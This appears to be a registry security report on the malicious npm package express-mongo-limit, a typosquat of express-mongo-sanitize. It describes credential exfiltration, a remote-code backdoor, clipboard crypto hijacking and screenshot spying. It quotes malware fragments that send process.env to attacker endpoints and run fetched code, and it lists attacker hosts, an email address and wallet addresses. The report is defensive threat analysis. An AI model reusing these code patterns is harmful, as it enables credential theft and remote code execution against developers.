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package: "express-mongo-limit"
report_status: "published"
title: "express-mongo-limit@1.0.4 npm security report"
verdict: "malicious"
version: "1.0.4"
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# express-mongo-limit@1.0.4 npm security report

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## Verdict summary
**Blocked by malware advisory** — OpenSSF/OSV malware advisory MAL-2026-7012 identifies this version as malicious and supplies the Firewall block.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Trusted malware advisory block
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 1.0.4
- **Selected version is latest:** No
- **Analysis source:** OpenSSF/OSV Malicious Advisory (OpenSSF/OSV)

OpenSSF/OSV malware advisory MAL-2026-7012 identifies this version as malicious and supplies the Firewall block.

OpenSSF/OSV advisory MAL-2026-7012 confirms this npm version as malicious. The npm package \`express-mongo-limit\` masquerades as an Express/MongoDB payload sanitization middleware (likely typosquatting \`express-mongo-sanitize\`) but is a credential stealer, remote-code-execution backdoor, crypto clipboard hijacker, and screenshot spyware. It declares a \`postinstall: node index.js\` hook, so the payload executes automatically on install. The obfuscated \`config/auth.js\` (built with...

## Latest scan
- **Scanner version:** external-osv-malicious-v1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 100.0%
- **Started:** 2026-08-05T07:45:09.211Z
- **Finished:** 2026-08-05T07:45:09.211Z
- **Download time:** Not available
- **Static scan time:** Not available
- **AI review time:** Not available
- **Total time:** Not available

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

No additional public attack-surface or AI-review details are available.

## Affected versions and remediation

This report applies to express-mongo-limit@1.0.4.

The same advisory and Firewall decision cover these 11 recorded versions: 2.0.2, 2.0.6, 2.0.1, 2.0.3, 2.0.4, 2.0.5, 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4.

- Avoid installing express-mongo-limit@1.0.4. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

The npm package \`express-mongo-limit\` masquerades as an Express/MongoDB payload sanitization middleware (likely typosquatting \`express-mongo-sanitize\`) but is a credential stealer, remote-code-execution backdoor, crypto clipboard hijacker, and screenshot spyware. It declares a \`postinstall: node index.js\` hook, so the payload executes automatically on install. The obfuscated \`config/auth.js\` (built with \`javascript-obfuscator\`) exfiltrates the victim's entire \`process.env\` via \`axios.post(url, {...process.env}, { headers: { 'x-app-request': 'ip-check' } })\` to an attacker-controlled endpoint, and \`index.js\` fetches arbitrary JavaScript from a C2 server and executes it with \`new Function("require", response.data)(require)\`, writing the payload to \`apiKeyResponse.js\` for persistence. Version 2.0.1 additionally ships \`service.js\`, a clipboard hijacker that monitors the clipboard and silently replaces detected Ethereum/BNB, Bitcoin, Solana, and Tron wallet addresses with the attacker's wallets, and \`app.js\`, which captures the desktop screen every 2 seconds and emails each screenshot to \`daniattacker@gmail.com\` via nodemailer/Gmail. It establishes persistence by globally installing \`pm2\`, \`clipboardy\`, and \`screenshot-desktop\` and registering \`service.js\` as a PM2 startup service. Version 1.0.0 is a benign "Hello World" decoy used to stage the package name. The package was published by npm user \`jon\_conway\` (\`daniattacker@gmail.com\`).

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\#\# Source: amazon-inspector (8f17b459e01affe3f0cc1640da6fcc4e1db9cdf3b7379caa6e6865747ce71a60) The package advertises itself as an Express/Mongo payload sanitizer but its postinstall hook (\`node index.js\`) globally installs pm2, clipboardy, and screenshot-desktop, then runs \`pm2 start service.js\`, \`pm2 save\`, and \`pm2 startup\` to persist a background service across reboots on the installer's machine. The persisted service (\`service.js\`) polls the system clipboard once per second and, when it detects an ETH/BSC, BTC, Solana, or Tron address, replaces it with hardcoded attacker wallets (ETH 0x62Fc857DE5469fDd81F57F309c2fb000cad7bbbb, BTC bc1q8tzzpun6rd45s6fgar2up8nfelt4u2r2h999cc, SOL 6A7vQWJveJBWP78oktAjoZbMakrCAQyLphJ5Kswy5xA4, TRX TUqk5th1eXZWrt1arsqpxZ3frqaCxc9Lr4) to redirect cryptocurrency transfers. A sibling \`app.js\` runs an infinite 2-second loop that captures the desktop via screenshot-desktop and emails each screenshot via nodemailer through a Gmail account (daniattacker@gmail.com); the app password is a placeholder in this version but the harvesting and delivery framework is fully wired. \`config/auth.js\` also exports a \`verify()\` helper that POSTs the entire \`process.env\` to a base64-obfuscated Vercel endpoint (gamboracle.vercel.app/api; a second endpoint ipcheck-six.vercel.app/api is stored in \`.env\`), with an \`atob\`-based decoder used to hide the destinations. The package name and description mimic the widely-used \`express-mongo-sanitize\` while the README is an unrelated \`hello-world-package\` stub, indicating the metadata is a lure. Installation on a default \`npm install\` triggers persistent RCE, clipboard-based crypto theft, desktop screenshot exfiltration, and provides an env-var exfiltration primitive to attacker-controlled endpoints.

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** express-mongo-limit
- **Ecosystem:** npm
- **Version:** 1.0.4
- **Version published:** 2026-07-22T11:24:46.536Z
- **Package first seen:** 2026-07-08T18:00:33.363Z
- **Package last seen:** 2026-09-01T13:39:11.139Z
- **Known versions:** 12
- **Latest version:** 0.0.1-security
- **Appeal under review:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/express-mongo-limit>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-7012>)
- [PACKAGE](<https://www.npmjs.com/package/express-mongo-limit/v/2.0.2>)
- [PACKAGE](<https://www.npmjs.com/package/express-mongo-limit/v/2.0.6>)
- [PACKAGE](<https://www.npmjs.com/package/express-mongo-limit/v/2.0.1>)
- [PACKAGE](<https://www.npmjs.com/package/express-mongo-limit/v/2.0.4>)
- [PACKAGE](<https://www.npmjs.com/package/express-mongo-limit/v/2.0.5>)
- [PACKAGE](<https://www.npmjs.com/package/express-mongo-limit/v/2.0.3>)
- [PACKAGE](<https://www.npmjs.com/package/express-mongo-limit>)
- [PACKAGE](<https://www.npmjs.com/package/express-mongo-limit/v/1.0.0>)
- [PACKAGE](<https://www.npmjs.com/package/express-mongo-limit/v/1.0.3>)
- [PACKAGE](<https://www.npmjs.com/package/express-mongo-limit/v/1.0.1>)
- [PACKAGE](<https://www.npmjs.com/package/express-mongo-limit/v/1.0.2>)
- [PACKAGE](<https://www.npmjs.com/package/express-mongo-limit/v/1.0.4>)